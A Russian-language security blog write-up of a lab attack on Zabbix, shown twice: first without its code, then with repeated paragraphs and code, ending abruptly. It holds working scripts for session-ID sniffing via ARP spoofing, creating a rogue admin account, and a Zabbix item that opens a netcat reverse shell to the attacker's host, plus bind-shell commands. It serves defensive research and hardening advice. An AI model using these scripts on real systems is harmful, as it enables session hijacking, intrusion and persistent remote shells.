Это продолжение памятки про систему мониторинга Zabbix, опубликованной недавно в нашем блоге. Выражаем огромную благодарность пользователю Shodin, который внес значительный вклад в исследование и написал данную статью.
Системы мониторинга — это очень практичный компонент для управления сетевой структурой предприятия. Они позволяют видеть изменения, которые происходят с устройствами практически в реальном времени. А с ростом количества устройств в сети роль решения, которое способно централизованно управлять устройствами, многократно возрастает.
В самом простом случае хочется видеть доступность компьютеров, мониторинг работы устройств (например, свитчей по ipmi), видеть изменения в конфигурации оборудования и отправлять об этом оповещения.
Система мониторинга может многое. Но что, если злоумышленник попытается использовать ее возможности в своих целях? Может ли злоумышленник, благодаря возможностям Zabbix, осуществить атаки на хосты, мониторинг которых осуществляется при помощи Zabbix?
Страшно? Под катом рассмотрим, что может злоумышленник, имея доступ к системе мониторинга Zabbix, безопасности и конфигурации, которой уделено недостаточное внимание.
Для исследования я собрал простую тестовую среду на виртуальных машинах с использованием VirtualBox:
Схема модели
В модели для мониторинга ПК в конфиге агента были заданы следующие опции:
Для упрощения моделирования рассмотрим типичную ситуацию, при которой злоумышленник и Zabbix-сервер находятся в одной подсети. Zabbix-сервер в сети чаще всего настроен таким образом, чтобы он осуществлял мониторинг ПК и выполнял там запуск удаленных команд.
Насколько такая ситуация правдоподобна – сказать сложно. Из личного опыта использования Zabbix-сервера отмечу, что одной из целей внедрения Zabbix в сети, которую я когда-то админил, помимо всего прочего, был запуск удаленных команд на компьютерах сети.
Что надо сделать злоумышленнику:
Далее рассмотрим, как злоумышленник решит указанные задачи.
Для начала злоумышленник определяет, развернут ли в сети сервер Zabbix. Самый очевидный способ определить работающий Zabbix-сервер– это просканировать все сетевые ресурсы сети на предмет наличия на них открытых портов Zabbix-сервера и Zabbix-агента; обычно порт Zabbix-сервера по умолчанию – 10051 а агента – 10050.
Сканирование лучше выполнить сразу по обоим портам, команда:
Результат работы команды
Видно, что оба порта на узле с адресом 192.168.56.102 открыты. Скорее всего, это и есть сервер. Но это не точно :) Попробуем выяснить наверняка.
Используем для проверки адреса сервера команду curl, с ее помощью отправим такой json запрос на адрес 192.168.56.102/zabbix/api_jsonrpc.php:
Пароль злоумышленнику неизвестен, но этим запросом он пробует подключиться к серверу и указывает при этом некорректные данные. Идея такая – если сервер развернут по выбранному адресу, то вернется ошибка некорректного логина и пароля, а если сервера по указанному адресу нет, то ответы не вернутся вообще, или вернется строка «connection timeout»:
Сервер запрос отпарсил, значит по проверяемому адресу развернут Zabbix-сервер.
Для сравнения посмотрим, что будет, если отправить аналогичный запрос на адрес другого найденного ПК (на котором Zabbix-сервер не развернут):
Весь процесс можно наглядно увидеть здесь.
Теперь попробуем определить версию Zabbix-сервера. Не зная логина и пароля, это можно сделать, отпарсив исходный код страницы 192.168.56.102/zabbix/index.php. В исходном коде этой страницы прописана ссылка на документацию с указанием версии Zabbix.
Версия Zabbix-сервера, обнаруженная в исходном коде страницы
Из рисунка видно, что версия сервера 3.2.
Для автоматизации определения версии был написан простой скрипт, который получает эту информацию со страницы авторизации Zabbix-сервера:
Результат работы скрипта
С процессом парсинга версии Zabbix-сервера можно ознакомиться тут.
Вывод – у злоумышленника достаточно способов определения наличия в сети работающего сервера Zabbix.
Далее рассмотрим, как можно получить доступ к этому серверу.
Что даст злоумышленнику перехват траффика между Zabbix-сервером и агентом?
Трафик между агентом и сервером (если в конфиге агента не настроить шифрование передаваемых данных) передается в незашифрованном виде, в пакетах TCP с флагом PSH.
Трафик в незашифрованном виде
Такой трафик можно перехватывать и анализировать, но это ничего не даст для получения доступа к фронтенду.
Однако Zabbix написан на PHP, а Zabbix API реализуются на основе web и поставляются как часть web-интерфейса. Используется протокол JSON-RPC 2.0. Для использования большинства возможностей Zabbix достаточно отправлять HTTP POST-запросы к файлу api_jsonrpc.php, который расположен в папке с web-интерфейсом.
Это означает, что при авторизации пользователя в системе (например, при заходе администратора в web-интерфейс Zabbix) выполняется запрос/ответ в формате JSON. При этом для каждого пользователя генерируется т.н. zbx_sessionid, который используется в POST-запросах json к серверу Zabbix. Более подробно про реализацию API можно прочитать тут.
Как происходит аутентификация пользователей? Первым делом надо получить т.н. ключ аутентификации, для этого нужно отправить на сервер логин и пароль пользователя, и если данные были указаны правильно, то вернется ключ аутентификации.
Процесс передачи zbx_sessionid происходит и в случае авторизации пользователя через web-интерфейс фронтенда при вводе логина и пароля этого пользователя.
Рассмотрим пример получения значения zbx_sessionid для пользователя Admin с паролем zabbix с использованием API. Нужно отправить такую строку:
Если лень разбираться – то есть вот такой сервис, как раз для тех, кто предпочитает строку json в структурированном виде.
Используем для отправки составленного запроса команду curl:
В ответ получаем:
d2a72e967fa86307a6ab9b896d8c95b9 – это и есть значение zbx_sessionid для пользователя Admin с паролем zabbix. Получив zbx_sessionid пользователя, можно использовать его для запроса данных:
Подставим в команду curl:
Получаем такой результат:
Весь процесс можно посмотреть тут.
Само значение zbx_sessionid «солится» меткой времени, что почти исключает его подделку, но передается оно в поле zbx_sessionid в POST-запросе в открытом виде!
В случае перехвата трафика администратора, когда он авторизуется в системе, злоумышленник может получить zbx_sessionid администратора и использовать полученное значение для развития атаки. Это возможно, т.к. смена zbx_sessionid происходит только тогда, когда пользователь выходит из системы. А пока он в системе, zbx_sessionid периодически пересылается при каждом действии пользователя.
Можно ли повторно использовать перехваченный zbx_sessionid? Да, можно, пока пользователь залогинен в системе. Для этого его просто достаточно подставить в запрос json, который затем надо отправить на сервер.
Вывод – именно zbx_sessionid и будет очевидной целью злоумышленника при перехвате траффика.
Для получения значения админского zbx_sessionid злоумышленнику достаточно прослушать трафик в сети между сервером Zabbix и компьютером админа.
Самый простой вариант — старый добрый ARP spoofing.
В принципе, неважно, с помощью чего ARP spoofing реализуется – результат будет получен в любом случае. Для данного исследования использовался пакет scapy для python, очень полезная утилита для работы с сетевыми пакетами.
Для «отлова» zbx_sessionid был написан такой скрипт, который открывает сокет, прослушивает траффик, и отлавливает в пересылаемых данных значение zbx_sessionid:
Значения сохраняются в файл zbx_sessionids.txt
Алгоритм атаки такой:
Далее проверим, позволит ли перехваченный zbx_sessionid получить информацию с сервера. Для этого пробуем получить список всех пользователей в Zabbix с использованием такого запроса:
Подставляем в curl:
Результат успешный:
Весь процесс можно посмотреть тут.
Вывод рекомендуется структурировать, например, используя такой сервис.
Видно всех пользователей (и гостя тоже), их имена и псевдонимы, IP-адреса, с которых пользователи заходят, и прочую интересную информацию, которая доступна только администратору Zabbix. Теперь, когда у злоумышленника есть zbx_sessionid админа (мораль – не сиди под админом!) он может попробовать закрепиться в системе.
Для начала можно создать себе нового пользователя с админскими правами, чтобы не зависеть от перехваченного zbx_sessionid. Для этого можно использовать такой сценарий:
Результат успешный.
Результат работы сценария
В интерфейсе видно созданного пользователя
Вывод – при перехвате zbx_sessionid администратора Zabbix у злоумышленника появляются те же возможности, что и у администратора Zabbix.
Сам процесс можно посмотреть тут.
По большому счету, на этом можно и остановиться – система скомпрометирована. Но что будет, если развить атаку? Можно ли расширить зону атаки? Какие последствия будут для тех компонентов, которые мониторятся в Zabbix?
Теперь, когда злоумышленник создал своего пользователя с правами администратора в Zabbix, можно попробовать проникнуть на те ПК, которые Zabbix мониторит.
В Zabbix есть такая возможность как запуск удаленных команд. Данная возможность, повторимся, работает следующим образом:
Длинна команды ограничена 255 символами. Timeout команды — максимум 30 секунд, причем технология позволяет выполнять любые команды.
Идея заключается в том, чтобы создать на мониторящемся ПК задачу, которая запустит на нем команду наподобие такой: «C:\Users\Public\nc.exe –dLp 6666 -e cmd.exe». Далее к созданному шеллу можно попробовать подключиться.
Команда будет выполнена с теми правами, которыми обладает Zabbix-агент в системе. Однако, из-за особенностей реализации механизма удаленных команд, устойчивый шелл злоумышленник провесить одной задачей типа system.run[«C:\Users\Public\nc.exe -dLp 6666 -e cmd.exe»] не сможет – он оборвется из-за особенностей Zabbix (важно значение опции timeout в конфиге агента).
Исходя из вышесказанного, сценарий действий злоумышленника будет следующий:
Так как пользователя в Zabbix злоумышленник уже создал, то можно использовать параметры созданного пользователя и реализацию API Zabbix на Python (пакет pyzabbix), чтобы не заморачиваться с json и curl. Для начала нужно определить, какие компьютеры мониторятся Zabbix-ом:
Результат работы скрипта
Теперь, зная имя хоста, можно поставить ему задачу запуска шелла на удаленном ПК. Сначала провесим шелл на Zabbix-сервер. Для демонстрации используется netcat, который в Linux, как правило, предустановлен. Был использован этот, немного модифицированный, пример.
Результат работы скрипта
Как это выглядит в web-интерфейсе
Результат подключения к созданному шеллу
В итоге был получен шелл с правами того пользователя, который запускает Zabbix-агента.
Но этот шелл не является постоянным, поэтому нужно попытаться создать на его основе новый шелл, который уже не будет зависеть от параметров Zabbix. Сделать это можно разными способами, один из которых – создать сценарий, который запустится в определенное время (командой at, например).
Сам процесс можно посмотреть тут.
Однако самый интересный способ будет рассмотрен для Windows, потому что по умолчанию в Windows Zabbix-агент устанавливается и запускается как служба с правами System.
Права Zabbix-агента
С учетом этого, любое приложение, запущенное агентом, будет также запущено с правами System. Вектор атаки при этом несколько усложнится:
Результат работы скрипта
Реакция Zabbix
Проверка шелла
Шелл получен с параметрами System, однако он будет периодически обрываться. Это связано с параметром Timeout, который по умолчанию в конфиге агента не определен и составляет 3с. За это время сложная команда просто не успеет выполнится. Поэтому параметр Timeout был принят за 30с, о чем было предупреждено в начале статьи.
В принципе, злоумышленник сам может добавить значение опции Timeout=30 (по умолчанию опция Timeout закомментирована), просто дописав строку Timeout=30 в конец файла zabbix_agentd.conf. Агент запущен как служба – следовательно, файл он менять может, достаточно прописать ему на сервере соответствующую задачу. Например добавить item, который будет с помощью удаленных команд дописывать нужные строки в конец конфигурационного файла.
Теперь нужно попытаться создать постоянный шелл, для чего создадим службу (права позволяют), которая тоже будет поднимать туннель с помощью nc. Сформируем команду для создания службы, сохраним ее в файл, а затем перенаправим его на вход nc (файл service.txt):
Для управления службой используем аналогичный подход, изменив некоторые команды (файл service_run.txt):
Результат — успешное создание службы
Попытаемся подключиться к созданной службе: включаем прослушивание на порту 6666 и запускаем службу, без этого она стартует и сразу завершает свою работу.
Включение прослушивания
В другом окне отправляем службе команду на запуск
По порту 5555 программа nc запущена Zabbix-агентом, следовательно, шелл обрывается, как и отмечено выше, из-за особенностей таймаута выполнения команд агентом. А служба стартует с параметрами System — и шелл не обрывается.
Безобрывный шелл
Сам процесс можно посмотреть тут.
Как всегда, ноги большинства угроз безопасности растут из ошибок конфигурации, а система мониторинга является таким компонентом, неправильная (с точки зрения безопасности) конфигурация которого может критически повлиять на безопасность всех компонентов сети.
Поэтому стоит озаботиться защитой передаваемых данных.
Вот несколько рекомендаций по настройке сервера Zabbix:
Безопасность агента Zabbix также требует пристального внимания:
Настройка безопасного доступа и повышение безопасности в Zabbix – это тема отдельной статьи (а возможно и не одной), будет время — обязательно об этом напишу.
P.S. Огромное спасибо sabotaged за помощь в подготовке статьи!
Системы мониторинга — это очень практичный компонент для управления сетевой структурой предприятия. Они позволяют видеть изменения, которые происходят с устройствами практически в реальном времени. А с ростом количества устройств в сети роль решения, которое способно централизованно управлять устройствами, многократно возрастает.
В самом простом случае хочется видеть доступность компьютеров, мониторинг работы устройств (например, свитчей по ipmi), видеть изменения в конфигурации оборудования и отправлять об этом оповещения.
Система мониторинга может многое. Но что, если злоумышленник попытается использовать ее возможности в своих целях? Может ли злоумышленник, благодаря возможностям Zabbix, осуществить атаки на хосты, мониторинг которых осуществляется при помощи Zabbix?
Страшно? Под катом рассмотрим, что может злоумышленник, имея доступ к системе мониторинга Zabbix, безопасности и конфигурации, которой уделено недостаточное внимание.
Для исследования я собрал простую тестовую среду на виртуальных машинах с использованием VirtualBox:
- Zabbix server – он будет осуществлять мониторинг компьютера.
- ПК – тот компьютер, который мониторится сервером Zabbix.
- Hacker – виртуалка злоумышлениика.
- ОС Хоста – я с нее захожу как администратор на сервер Zabbix.
Схема модели
Краткий обзор работы Zabbix.
На каждый клиентский ПК устанавливается Zabbix-агент, который будет обмениваться данными с Zabbix-сервером.
В Zabbix-сервере настраивается мониторинг ПК, в рамках мониторинга сервер ищет на ПК установленный агент и получает от него информацию.
Поиск и получение информации от агента
Поиск и получение информации от агента
По умолчанию для обмена информацией между Zabbix-агентом и Zabbix-сервером используются следующие TCP-порты: на стороне клиента настраивается (и прослушивается) порт 10051 а на стороне сервера настраивается (и прослушивается) порт 10050.
Прослушивание порта
На сервере настраивается периодичность опроса клиентов на предмет изменений в данных, которые сервер получает от агента. Настройка интервала обнаружения задается в меню Configuration — Discovery web-интерфейса Zabbix. Далее создается новое правило обнаружений (англ. Discovery Rule). В настройках параметров указывается параметр Delay, который отвечает за периодичность опроса клиентов сервером. По умолчанию этот интервал равен 3600с, менее 5с интервал опроса не устанавливается.
Заданое правило обнаружений
На каждом клиенте устанавливается Zabbix-агент, настройки которого задаются в конфигурационном файле. Более подробно о работе агента можно узнать здесь.
В Zabbix-сервере настраивается мониторинг ПК, в рамках мониторинга сервер ищет на ПК установленный агент и получает от него информацию.
Поиск и получение информации от агента
Поиск и получение информации от агента
По умолчанию для обмена информацией между Zabbix-агентом и Zabbix-сервером используются следующие TCP-порты: на стороне клиента настраивается (и прослушивается) порт 10051 а на стороне сервера настраивается (и прослушивается) порт 10050.
Прослушивание порта
На сервере настраивается периодичность опроса клиентов на предмет изменений в данных, которые сервер получает от агента. Настройка интервала обнаружения задается в меню Configuration — Discovery web-интерфейса Zabbix. Далее создается новое правило обнаружений (англ. Discovery Rule). В настройках параметров указывается параметр Delay, который отвечает за периодичность опроса клиентов сервером. По умолчанию этот интервал равен 3600с, менее 5с интервал опроса не устанавливается.
Заданое правило обнаружений
На каждом клиенте устанавливается Zabbix-агент, настройки которого задаются в конфигурационном файле. Более подробно о работе агента можно узнать здесь.
В модели для мониторинга ПК в конфиге агента были заданы следующие опции:
- Server – адрес сервера (в модели — 192.168.56.102).
- ServerActive – адрес сервера для активных проверок (чаще всего совпадает с адресом сервера).
- Hostname – имя хоста. Отсылается агентом на сервер, который пересылает список активных проверок для хоста с указанным именем. Должно совпадать с тем именем, которое указано для хоста в web-интерфейсе Zabbix-сервера.
- EnableRemoteCommands=1 – разрешает запуск команд, которые сервер передает агенту. Запускать команды будет агент.
- Timeout=30 – время, за которое должен произойти обмен данными между клиентом и сервером, по умолчанию опция закомментирована, а её значение равно 3с. Я поставлю 30с и посмотрим, достаточно ли этого для злоумышленника?
Возможный сценарий действий злоумышленника
Для упрощения моделирования рассмотрим типичную ситуацию, при которой злоумышленник и Zabbix-сервер находятся в одной подсети. Zabbix-сервер в сети чаще всего настроен таким образом, чтобы он осуществлял мониторинг ПК и выполнял там запуск удаленных команд.
Насколько такая ситуация правдоподобна – сказать сложно. Из личного опыта использования Zabbix-сервера отмечу, что одной из целей внедрения Zabbix в сети, которую я когда-то админил, помимо всего прочего, был запуск удаленных команд на компьютерах сети.
Что надо сделать злоумышленнику:
- Обнаружить в сети Zabbix-сервер.
- Получить доступ к фронтенду Zabbix-сервера.
- Получить доступ к компьютерам и закрепиться в системе.
Далее рассмотрим, как злоумышленник решит указанные задачи.
Обнаружение в сети работающего Zabbix-сервера
Для начала злоумышленник определяет, развернут ли в сети сервер Zabbix. Самый очевидный способ определить работающий Zabbix-сервер– это просканировать все сетевые ресурсы сети на предмет наличия на них открытых портов Zabbix-сервера и Zabbix-агента; обычно порт Zabbix-сервера по умолчанию – 10051 а агента – 10050.
Сканирование лучше выполнить сразу по обоим портам, команда:
Nmap –sS –p 10050,10051 192.168.56.0/24
Результат работы команды
Видно, что оба порта на узле с адресом 192.168.56.102 открыты. Скорее всего, это и есть сервер. Но это не точно :) Попробуем выяснить наверняка.
Используем для проверки адреса сервера команду curl, с ее помощью отправим такой json запрос на адрес 192.168.56.102/zabbix/api_jsonrpc.php:
{"jsonrpc":"2.0","method":"user.login","params":{ "user":"Admin","password":"admin"},"auth":null,"id":0}
Пароль злоумышленнику неизвестен, но этим запросом он пробует подключиться к серверу и указывает при этом некорректные данные. Идея такая – если сервер развернут по выбранному адресу, то вернется ошибка некорректного логина и пароля, а если сервера по указанному адресу нет, то ответы не вернутся вообще, или вернется строка «connection timeout»:
curl -i -X POST -H 'Content-type:application/json' -d '{"jsonrpc":"2.0","method":"user.login","params":{ "user":"Admin","password":"admin"},"auth":null,"id":0}' http://192.168.56.102/zabbix/api_jsonrpc.php
HTTP/1.1 200 OK
Date: Fri, 02 Feb 2018 08:06:52 GMT
Server: Apache/2.4.10 (Debian)
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: Content-Type
Access-Control-Allow-Methods: POST
Access-Control-Max-Age: 1000
Content-Length: 159
Content-Type: application/json
{"jsonrpc":"2.0","error":{"code":-32700,"message":"Parse error","data":"Invalid JSON. An error occurred on the server while parsing the JSON text."},"id":null}
Сервер запрос отпарсил, значит по проверяемому адресу развернут Zabbix-сервер.
Для сравнения посмотрим, что будет, если отправить аналогичный запрос на адрес другого найденного ПК (на котором Zabbix-сервер не развернут):
curl -i -X POST -H 'Content-type:application/json' -d '{"jsonrpc":"2.0","method":"user.login","params":{ "user":"Admin","password":"admin"},"auth":null,"id":0}' http://192.168.56.110/zabbix/api_jsonrpc.php
curl: (7) Failed to connect to 192.168.56.110 port 80: Connection refused
Весь процесс можно наглядно увидеть здесь.
Теперь попробуем определить версию Zabbix-сервера. Не зная логина и пароля, это можно сделать, отпарсив исходный код страницы 192.168.56.102/zabbix/index.php. В исходном коде этой страницы прописана ссылка на документацию с указанием версии Zabbix.
Версия Zabbix-сервера, обнаруженная в исходном коде страницы
Из рисунка видно, что версия сервера 3.2.
Для автоматизации определения версии был написан простой скрипт, который получает эту информацию со страницы авторизации Zabbix-сервера:
"""
This script is for testing zabbix version
by version of the docs on the logon page
"""
import urllib2
import re
from bs4 import BeautifulSoup
zab_page='http://192.168.56.102/zabbix/index.php'
page=urllib2.urlopen(zab_page)
soup = BeautifulSoup(page, 'html.parser')
for link in soup.findAll('a', attrs={'href': re.compile("documentation")}):
version=link.get('href')
parts=re.split('/', version)
a=''.join (parts[4:5])
print "zabbix version is",a
Результат работы скрипта
С процессом парсинга версии Zabbix-сервера можно ознакомиться тут.
Вывод – у злоумышленника достаточно способов определения наличия в сети работающего сервера Zabbix.
Далее рассмотрим, как можно получить доступ к этому серверу.
Получение доступа к фронтенду Zabbix-сервера. Часть первая, обзорная
Что даст злоумышленнику перехват траффика между Zabbix-сервером и агентом?
Трафик между агентом и сервером (если в конфиге агента не настроить шифрование передаваемых данных) передается в незашифрованном виде, в пакетах TCP с флагом PSH.
Трафик в незашифрованном виде
Такой трафик можно перехватывать и анализировать, но это ничего не даст для получения доступа к фронтенду.
Однако Zabbix написан на PHP, а Zabbix API реализуются на основе web и поставляются как часть web-интерфейса. Используется протокол JSON-RPC 2.0. Для использования большинства возможностей Zabbix достаточно отправлять HTTP POST-запросы к файлу api_jsonrpc.php, который расположен в папке с web-интерфейсом.
Это означает, что при авторизации пользователя в системе (например, при заходе администратора в web-интерфейс Zabbix) выполняется запрос/ответ в формате JSON. При этом для каждого пользователя генерируется т.н. zbx_sessionid, который используется в POST-запросах json к серверу Zabbix. Более подробно про реализацию API можно прочитать тут.
Как происходит аутентификация пользователей? Первым делом надо получить т.н. ключ аутентификации, для этого нужно отправить на сервер логин и пароль пользователя, и если данные были указаны правильно, то вернется ключ аутентификации.
Процесс передачи zbx_sessionid происходит и в случае авторизации пользователя через web-интерфейс фронтенда при вводе логина и пароля этого пользователя.
Рассмотрим пример получения значения zbx_sessionid для пользователя Admin с паролем zabbix с использованием API. Нужно отправить такую строку:
{"jsonrpc":"2.0","method":"user.login","params":{ "user":"Admin","password":"zabbix"},"auth":null,"id":0}
Если лень разбираться – то есть вот такой сервис, как раз для тех, кто предпочитает строку json в структурированном виде.
Используем для отправки составленного запроса команду curl:
curl -i -X POST -H 'Content-type:application/json' -d ' {"jsonrpc":"2.0","method":"user.login","params":{ "user":"Admin","password":"zabbix"},"auth":null,"id":0}' http://192.168.56.102/zabbix/api_jsonrpc.php
В ответ получаем:
{jsonrpc:2.0,result:d2a72e967fa86307a6ab9b896d8c95b9,id:1}
d2a72e967fa86307a6ab9b896d8c95b9 – это и есть значение zbx_sessionid для пользователя Admin с паролем zabbix. Получив zbx_sessionid пользователя, можно использовать его для запроса данных:
{"jsonrpc": "2.0","method":"host.get","params":{"output": ["hostid","host"],"selectInterfaces": ["interfaceid","ip"]},"id": 2,"auth": " d2a72e967fa86307a6ab9b896d8c95b9"}
Подставим в команду curl:
curl -i -X POST -H 'Content-type:application/json' -d '{"jsonrpc": "2.0","method":"host.get","params":{"output": ["hostid","host"],"selectInterfaces": ["interfaceid","ip"]},"id": 2,"auth": " d2a72e967fa86307a6ab9b896d8c95b9"}
' http://192.168.56.102/zabbix/api_jsonrpc.php
Получаем такой результат:
{"jsonrpc":"2.0","result":[{"hostid":"10084","host":"Zabbix_server","interfaces":[{"interfaceid":"1","ip":"127.0.0.1"}]},{"hostid":"10105","host":"windows host","interfaces":[{"interfaceid":"2","ip":"192.168.56.1"}]},{"hostid":"10106","host":"Windows host","interfaces":[{"interfaceid":"3","ip":"192.168.56.110"}]}],"id":2}
Весь процесс можно посмотреть тут.
Само значение zbx_sessionid «солится» меткой времени, что почти исключает его подделку, но передается оно в поле zbx_sessionid в POST-запросе в открытом виде!
В случае перехвата трафика администратора, когда он авторизуется в системе, злоумышленник может получить zbx_sessionid администратора и использовать полученное значение для развития атаки. Это возможно, т.к. смена zbx_sessionid происходит только тогда, когда пользователь выходит из системы. А пока он в системе, zbx_sessionid периодически пересылается при каждом действии пользователя.
Можно ли повторно использовать перехваченный zbx_sessionid? Да, можно, пока пользователь залогинен в системе. Для этого его просто достаточно подставить в запрос json, который затем надо отправить на сервер.
Вывод – именно zbx_sessionid и будет очевидной целью злоумышленника при перехвате траффика.
Получение доступа к фронтенду Zabbix-сервера. Часть вторая, практическая
Для получения значения админского zbx_sessionid злоумышленнику достаточно прослушать трафик в сети между сервером Zabbix и компьютером админа.
Самый простой вариант — старый добрый ARP spoofing.
В принципе, неважно, с помощью чего ARP spoofing реализуется – результат будет получен в любом случае. Для данного исследования использовался пакет scapy для python, очень полезная утилита для работы с сетевыми пакетами.
Для «отлова» zbx_sessionid был написан такой скрипт, который открывает сокет, прослушивает траффик, и отлавливает в пересылаемых данных значение zbx_sessionid:
import socket
import re
s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0800))
print ("trying to catch zbx_sessionid")
k = ''
while True:
data = s.recvfrom(65565)
try:
if "HTTP" in data[0][54:]:
raw = data[0][54:]
if "\r\n\r\n" in raw:
line = raw.split('\r\n\r\n')[0]
print "[*] Header Captured "
value = line
m = re.search("(zbx_sessionid.*)", value)
if m:
str = m.group(0)
k = re.split(r'\W+', str)
print ("session_id is :")
print (k[1])
####Saving founded zbx_sessionid in file
saved_zbxssids = open('zbx_sessionids.txt','a')
saved_zbxssids.write('\n')
saved_zbxssids.write(k[1])
saved_zbxssids.write('\n')
saved_zbxssids.close()
print ("zabbix session id saved in file zbx_sessionids.txt")
else:
pass
else:
pass
except KeyboardInterrupt:
s.close()
Значения сохраняются в файл zbx_sessionids.txt
Алгоритм атаки такой:
- В kali разрешаем форвардинг пакетов командой:
# sysctl –w net.ipv4.ip_forward=1
- Запускаем утилиту ARP spoofing’a:
Результат работы команды
В данной команде:
- 192.168.56.1 – адрес роутера
- 192.168.56.102 – адрес сервера Zabbix
- Запускаем написанный скрипт перехвата http-заголовков такой командой:
# python zabbix_zbxsessionid_sniffer.py
- Ждем, когда пользователь попробует подключиться к админской панели сервера Zabbix. И видим нужный нам zbx_sessionid: Результат работы скрипта
Далее проверим, позволит ли перехваченный zbx_sessionid получить информацию с сервера. Для этого пробуем получить список всех пользователей в Zabbix с использованием такого запроса:
{"jsonrpc": "2.0","method": "user.get","params":{"output": "extend"},"auth":"d547a4536e1660e753c765916d44531b","id":1}
Подставляем в curl:
curl -i -X POST -H 'Content-type:application/json' -d '{"jsonrpc": "2.0","method": "user.get","params":{"output": "extend"},"auth":"d547a4536e1660e753c765916d44531b","id":1}' http://192.168.56.102/zabbix/api_jsonrpc.php
Результат успешный:
{"jsonrpc":"2.0","result":[{"userid":"1","alias":"Admin","name":"Zabbix","surname":"Administrator","url":"","autologin":"1","autologout":"0","lang":"en_GB","refresh":"30","type":"3","theme":"default","attempt_failed":"0","attempt_ip":"192.168.56.100","attempt_clock":"1517561631","rows_per_page":"50"},{"userid":"2","alias":"guest","name":"","surname":"","url":"","autologin":"0","autologout":"900","lang":"en_GB","refresh":"30","type":"1","theme":"default","attempt_failed":"0","attempt_ip":"","attempt_clock":"0","rows_per_page":"50"}],"id":1}
Весь процесс можно посмотреть тут.
Вывод рекомендуется структурировать, например, используя такой сервис.
Видно всех пользователей (и гостя тоже), их имена и псевдонимы, IP-адреса, с которых пользователи заходят, и прочую интересную информацию, которая доступна только администратору Zabbix. Теперь, когда у злоумышленника есть zbx_sessionid админа (мораль – не сиди под админом!) он может попробовать закрепиться в системе.
Для начала можно создать себе нового пользователя с админскими правами, чтобы не зависеть от перехваченного zbx_sessionid. Для этого можно использовать такой сценарий:
import json
import requests
from pyzabbix import ZabbixAPI
#api_address="http://192.168.56.102/zabbix/api_jsonrpc.php"
api_address=raw_input("enter correct URL to api_jsonrpc.php, like http://192.168.56.102/zabbix/api_jsonrpc.php"": \n")
zbx_sessionid= raw_input("enter zbx_sessionid: \n")
user= raw_input("enter username: \n")
password= raw_input("enter password: \n")
url = api_address
headers = {'Content-type': 'application/json'}
data = {"jsonrpc": "2.0", "method": "user.create", "params": {
"alias": user, "passwd": password, "type": "3", "usrgrps": [
{"usrgrpid": "7"}], },
"auth": zbx_sessionid,
"id": 1
}
answer = requests.post(url, data=json.dumps(data), headers=headers)
print(answer)
response = answer.json()
print(response)
###Using pyzabbix to connect whith created user creds
print ("testing user parameters:")
zapi = ZabbixAPI(api_address)
zapi.login(user, password)
print("Connected to Zabbix API Version %s" % zapi.api_version())
Результат успешный.
Результат работы сценария
В интерфейсе видно созданного пользователя
Вывод – при перехвате zbx_sessionid администратора Zabbix у злоумышленника появляются те же возможности, что и у администратора Zabbix.
Сам процесс можно посмотреть тут.
По большому счету, на этом можно и остановиться – система скомпрометирована. Но что будет, если развить атаку? Можно ли расширить зону атаки? Какие последствия будут для тех компонентов, которые мониторятся в Zabbix?
Получение доступа к компьютерам и закрепление в системе
Теперь, когда злоумышленник создал своего пользователя с правами администратора в Zabbix, можно попробовать проникнуть на те ПК, которые Zabbix мониторит.
В Zabbix есть такая возможность как запуск удаленных команд. Данная возможность, повторимся, работает следующим образом:
- в конфиге агента указывается параметр EnableRemoteCommands = 1.
- сервер отсылает команду агенту, он ее выполняет и возвращает серверу результат.
Длинна команды ограничена 255 символами. Timeout команды — максимум 30 секунд, причем технология позволяет выполнять любые команды.
Идея заключается в том, чтобы создать на мониторящемся ПК задачу, которая запустит на нем команду наподобие такой: «C:\Users\Public\nc.exe –dLp 6666 -e cmd.exe». Далее к созданному шеллу можно попробовать подключиться.
Команда будет выполнена с теми правами, которыми обладает Zabbix-агент в системе. Однако, из-за особенностей реализации механизма удаленных команд, устойчивый шелл злоумышленник провесить одной задачей типа system.run[«C:\Users\Public\nc.exe -dLp 6666 -e cmd.exe»] не сможет – он оборвется из-за особенностей Zabbix (важно значение опции timeout в конфиге агента).
Исходя из вышесказанного, сценарий действий злоумышленника будет следующий:
- Перехватить zbx_sessionid. Далее создать себе нового пользователя с правами администратора (чтобы не зависеть от перехваченного zbx_sessionid). Это уже сделано.
- Создать для каждого найденного на сервере ПК задачу, которую будет выполнять агент. В задачу включить запуск шелла, и с его помощью залить на ПК жертвы шелл (или запустить имеющиюся утилиту типа netcat).
- Подключиться к созданному задачей Zabbix шеллу и создать еще один, который не будет обрываться из-за особенностей Zabbix.
Так как пользователя в Zabbix злоумышленник уже создал, то можно использовать параметры созданного пользователя и реализацию API Zabbix на Python (пакет pyzabbix), чтобы не заморачиваться с json и curl. Для начала нужно определить, какие компьютеры мониторятся Zabbix-ом:
from pyzabbix import ZabbixAPI
api_address=raw_input("enter correct URL to api_jsonrpc.php, like http://192.168.56.102/zabbix/api_jsonrpc.php"": \n")
zbx_sessionid= raw_input("enter zbx_sessionid: \n")
user= raw_input("enter username: \n")
password= raw_input("enter password: \n")
zapi = ZabbixAPI(api_address)
zapi.login(user, password)
print("Connected to Zabbix API Version %s" % zapi.api_version())
for h in zapi.host.get(output="extend"):
hostid=h['hostid']
host=h['host']
print ("found host: ",host,"hostid: ",hostid)
Результат работы скрипта
Теперь, зная имя хоста, можно поставить ему задачу запуска шелла на удаленном ПК. Сначала провесим шелл на Zabbix-сервер. Для демонстрации используется netcat, который в Linux, как правило, предустановлен. Был использован этот, немного модифицированный, пример.
from pyzabbix import ZabbixAPI, ZabbixAPIException
import sys
api_address=raw_input("enter correct URL to api_jsonrpc.php, like http://192.168.56.102/zabbix/api_jsonrpc.php"": \n")
user= raw_input("enter username: \n")
password= raw_input("enter password: \n")
hostname=raw_input("enter hostname: \n")
# hostid=raw_input("enter hostid: \n")
zapi = ZabbixAPI(api_address)
# Login to the Zabbix API
zapi.login(user, password)
host_name = hostname
hosts = zapi.host.get(filter={"host": host_name}, selectInterfaces=["interfaceid"])
if hosts:
host_id = hosts[0]["hostid"]
print("Found host id {0}".format(host_id))
try:
item = zapi.item.create(
hostid=host_id,
name='netcat_create_reverse_shell',
key_='system.run["nc 192.168.56.100 4444 -e /bin/bash"]',
type=0,
value_type=4,
interfaceid=hosts[0]["interfaces"][0]["interfaceid"],
delay=5
)
except ZabbixAPIException as e:
print(e)
sys.exit()
print("Added item with itemid {0} to host: {1}".format(item["itemids"][0], host_name))
else:
print("No hosts found")
